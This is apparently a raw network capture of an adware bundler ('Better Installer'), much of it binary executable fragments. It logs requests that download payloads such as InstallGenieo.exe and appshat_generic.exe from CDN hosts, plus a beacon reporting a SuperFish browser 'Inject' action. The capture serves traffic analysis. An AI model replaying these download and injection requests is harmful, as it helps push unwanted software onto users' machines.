. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G..
.(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T
.k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N
.7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB..
......V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d...<<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.ds HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 00:04:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.30 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 00:04:05 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.30 ms","message":"store 1 ac
tion and 0 update "}..0......

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 00:04:12 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.40 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 00:04:12 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.40 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=107085-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 178473

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 107085-285557/285558

Age: 913

X-Cache: Hit from cloudfront

Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: rxqQU7SQ_eSgzPeZDGpxw5C7GWam2grIBovveuDm4IRwWOzDwq1S6Q==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].<<< skipped >>>

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=50018-100036

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 50019

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:42:08 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 50018-100036/200072

Age: 283

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: M2dQLz9PDgZg6Gr-6GmQ08vGrqoY3nuc-wINSHY16zViLbRKOcPzVQ==
M.{..h.Hk.Y*.._4N.....w..?0 .G..K.F...!....f.b...Z...w.B.l..,.pB..2.~~
.......J.;k.#t..".np...K.....R..3.T........4..k/.?.../.....}..^.-.....
.P.W,X..b...Y.TZv.S.J.F.MZ.7.,..H.c..=.dt6u...(......O.......Mf4;...{s
...8......q.V....!J\B.....e...c..s...Y}.......9&:..z....1..l...v?.....
.7..4h.mJ....A.v..f....a.C...|E...\....T.O... ..|7f..vrw.......H......
.c...~...%..G/4K"<..d....2.e.G[..}=.S.R$.o......g.........y....)P..
wRr..[(.u.I|.6..My......y...I.t;.h....(n.m...b.G\.qH..G.......C?EC....
([email protected].....).q3....^L.. .....Yw......n.....a.3...^...g.yH..
..v.<x.X...D,M..'..MzF..zFf......|.h%.6M...d`.)[email protected]$SL....
... .&.7..(:.F.>8....M5..^o_.....o...\...N....x......q.O...7"QB...A
w....;G..b..{c .....?wF....jW=..r$hAHo.SdV.#.7..............>.B.z..
.J...I=...i.g..#....3. s>../j=vN........g.....O....D.1..C.V.E...6.f
I.}Y.{?L.....wh.$Rb.."... .}h..1..xQ...[[email protected]....*.9l
.Rfx...,..)D...%....{~...;q>s.0.........J.%....C ...>#qc.G...Q..
.$:|..b....[=...5.e\.Ov.O.:...._....J.M.)._.".../o...:.44.S.D..Fp...*.
.....[.u7...A...-......C...4.~...W.iK!.n.[:..%...."...5.3.M,t.w.w....s
...o..j9....b3..6(......0.-....&..`.].~..yc..p...JV(....O4....T..P-VDr
.D.....0..T.......|.S......rJ....K..X...t..............gl..O.g.{i..(..
l...*.*...$....@..[....6.p.....y.|f.A...&.ha.....t9H....-_..{'QV`.N.&g
t;...C..2...$:.....}/....`..#TKg..I....3.d..p.....IS.G.>Q'....[....
0q.8u...k~.F..H...2..~.X.E.>[email protected]..,B..'Q....L.]..Jy..UZ.<..W..
...z.>n.op..l.j.d .;*Ha#..xx}.8~J...QRK. ..Fi57._....~..!..X.n.<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=138810-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache



.s) .......#.F..#.Thn#@...g.z.RO.....,.s.....$..L..-Y.w......^.Fi....&
lt;&.:.."8p..3..U........ ..?7 r.x}.6.......rY.vwO~Jl....H..K*.T .....
.x!...9.d..6.ps..Q.H....</J.>..'}pRxV...0%...KJ...a >YJ.....N
.._..s...%.....C?....V.....Cp.IkZ.<_O*.):...n.U-..O3.[....id...Y..p
s,.#.).gso..^.U.,.c...{..T....r..... .x..H.x~.h....Is..w....I....].Z..
.:>[email protected]<R..K.c>%l...#hl....42. o...$.........Z.K...?
..z....u..........e....z..^.b.B..'..r])..........j.F.*u.......r....,..
DX..wv..?.....z.=r..w<.H........Kv&?.}iCQ.....R!Ic.o...b...4.u.....
...X..G.$....=...S._............S........w..T......M...K..#..="...i...
.G..!.<.. .1..`&.4.....n..bu....G...Rs.&.z..YQ......W....K....,^..V
_.s.A...K....`.*.O.. .....Q..6;. _.woF... ..lE...s....~..0...Y.Kaw.>
;[email protected][email protected]. M.-pGvp....
?..... c......v.:..j.8`.......V.r|.....~..85.=........<.Z.......v.D
:..K.p..E...ji.:.....gn.70..zL.b...DEA,Ff..UA...h2:.)...Gi`.k......W=Q
..Xd..xo...?......./I.kM.-y:....4!.1... ....d..Z..d.3Z.&.M..?......S..
.........=.u?s............<..8.E..F.b\z.b..!.s...<...3_..syrF.A.
%...p...l..li...}.c...........nE.o..N..a ...7..}..\|q.g.I&..f\..L..(.r
.j?.....t.k.H.Ak.C.EI.........Q7*...E^.v=,.....^.V.UQl...........k3.1@
K.)........&*.5 _..dV'...............9]...tJ/.....^#........Sg......^X
.......*;.W!Z.8......}...f..N..5..A...... .a....f......U?....|^...W.(.
*W.x7.q.#.....2..V.....v...F....6...e. ....z..y..xj..a ...oE.7%\.?i..E
.T|7...............R...!..X`(.B...Z......7*O.Y..'.=3..ZH_...)..=.i<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=35695-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 249863

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 35695-285557/285558

Age: 714

X-Cache: Hit from cloudfront

Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 17wJHHgl5Xn_A4_Dy4zQkRCpxUFQKtTqNlbntsRDRt5vMFzzyjaFag==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=178475-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache



.....^P.o.g..e..H.1x.....\.#..D....G.w.pL..{}H.....t\...&.1O_....l.Erq
2...=..4'YN.o.. ......U.....(l..C2_.mo...SU..........i...u_H.@!..y...^
.:.j.i..n&....Bx..M.r..m..}&2..._."..VE......g.Uu..|F-...=.e..._......
:2.....lG.g....i..`.2../j....13.jd.....].....V.4$.x.N.A....r..t..i..P.
.....9....TX..z.E..S.....,...V.....&q.A.....X..(5..P....r.V}B.G.=.Z..A
EI*[email protected]..`.......d0.J/..}...g..e.1..M...s...l..r)Fo!|.\...n..._...
...\...~T.pW..g....np...|..?:..._..5...k"..jyR..9.D...R0....J...t.....
.t...&T...d..)..g|N6...$D.w....G....\....oC.2..JZ.JK..{.]...J?.. !v.D.
B..|Bozw....eq...M...(....Z7.......'...b....."..P.1T......z|.:X..M.{.Y
SxI...`..o.......{*Wq6.......4.Qa......#....!.wZ.D....fN........I.(X..
..g...cj......%3.f..oN9.p.%.e.g..eP.2..5`=`..5.......23.. ..K.p.....'b
..-..B.f.W.C.sQ.........gXp...I.!.F........._T.>t...........B......
..f....Y..(.....{...^.0...~_c.....a....v.{.._.o...Pm.....Q^..\....gOMj
..o.."I...3.....s......o!..Dy....t.LY.]..M#P..)..Fq7{...Y`.s?.03...Q..
=G..OP.&........%W..m>....La4..%a"..(.D.E.]rN....<.@yr...}.. O*-
i...nu%..\.#.9.....c..!...W..Y..'...).^kH..[..q'....R.#....:0(.%}0....
mB....c2...?..Tc#..C....V.M.&.to..n/:)S.3G..4.h{.?..r.Q s.......x.\$..
.>..n}....K?.......@M........&.Y...%UE.).6........~Up....g*.9..G...
t%pn..$..D..J.....Q^.qd."..!-D4de.N..V....R.T...&....-.....N.."....Q..
.AVS......].on...!.hP..?.t...W..W.M.@Ho6.,..qJ....S.Ia....6u....A."...
6...v.....<...X...W.#w....]y.?...I.{M.=.=sL@.".Q..^.........^r&....
O..<.E.........G%.1...M.......R..a .......%.......6%.a/H...Z.4.<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 786

X-Cache: Hit from cloudfront

Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 1QGnwfDE4B5wHXXisA-SkuMdaWc8onLQKeOuiGsF4-VQHZxFkRBpBA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 913

X-Cache: Hit from cloudfront

Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)

X-Amz-Cf-Id: aDr9Mx78Z-BZ2R1sLf0RRCzIIdwM6Z8cUmxUxKeoW3TVSoM_1LZ79w==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=214170-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71388

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 214170-285557/285558

Age: 786

X-Cache: Hit from cloudfront

Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5avxQUgFylAqfD0oPrFvMFsPipzpjIFKPY5qF-t6_0EGQ05jfJh_NQ==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2ACRfzZy NK/GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm&product=EXTFirefox&rnd=1424736267&it=1&action=Inject&text=SuperFish HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:04:07 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 00:04:07 GMT..Content-Length: 0..

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=25009-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 175063

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:42:08 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 25009-200071/200072

Age: 283

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6p5ogxe8H-so3SWtaC6aNJm_HTU03HDV1W4D6762w-fRK4C_leXL_Q==
}...}...~...|..(~..:~..H~..Z~..n~...~...~...~...~...~..F|..0|..$|...|.
..|...{...{...{...{...|...|...|..r|..f|...~..V|...{...{..~{..p{..h{..X
{..F{..6{..${...{...{...z...z...z...{......j...T...B.......(..........
.........RichEdit....RichEdit20A.RichEd32....RichEd20.....DEFAULT\Cont
rol Panel\International....Control Panel\Desktop\ResourceLocale....[Re
name]....%d..Software\Microsoft\Windows\CurrentVersion...\Microsoft\In
ternet Explorer\Quick Launch..................F...............F.......
........F.t...........z..`p...u...........~..lq...t..........j...<p
...u..............Pq..Xt...............p...t..............(p...v......
....8...xr...v..............hr...................... ...4.............
..x...f...X...F...........................\...L...<...&............
~...~.......x...x...x...x...x...x...x...y...y..(y..>y..Fy..Vy..dy..
[email protected]..^z..pz...z...z
...z...z...z..fx..Zx..Nx..2x..$x...x...x...w...w...w...w...w...w..pw..
Tw..Hw..<w...v..*w...w...w...v...v...y......................t......
......|...|...|...|...}.. }..0}..B}..R}..`}..r}..~}...}...}...}...}...
}...}...}...~...|..(~..:~..H~..Z~..n~...~...~...~...~...~..F|..0|..$|.
..|...|...{...{...{...{...|...|...|..r|..f|...~..V|...{...{..~{..p{..h
{..X{..F{..6{..${...{...{...z...z...z...{......j...T...B.......(......
.............t.MulDiv....DeleteFileA...FindFirstFileA....FindNextFileA
...FindClose...SetFilePointer....ReadFile....WriteFile...GetPrivatePro
fileStringA....WritePrivateProfileStringA..u.MultiByteToWideChar..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71389-142779

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71391

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71389-142779/285558

Age: 913

X-Cache: Hit from cloudfront

Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: izljPZxRfSvig5sE9nyP37r4qcAVxtRQ_lRGzAXRCbCaAhRQ2Gxp3A==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=864857-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: kLJnX Y3rTbSuyznEg56hFxsBbtX6klNn8TC FvVCpcSd mVpOHC6Oi9adTng0o ISQwUux0jRM=

x-amz-request-id: 5681579420FC539C

Date: Tue, 24 Feb 2015 00:04:27 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 864857-988407/988408

Content-Type: application/octet-stream

Content-Length: 123551

Server: AmazonS3
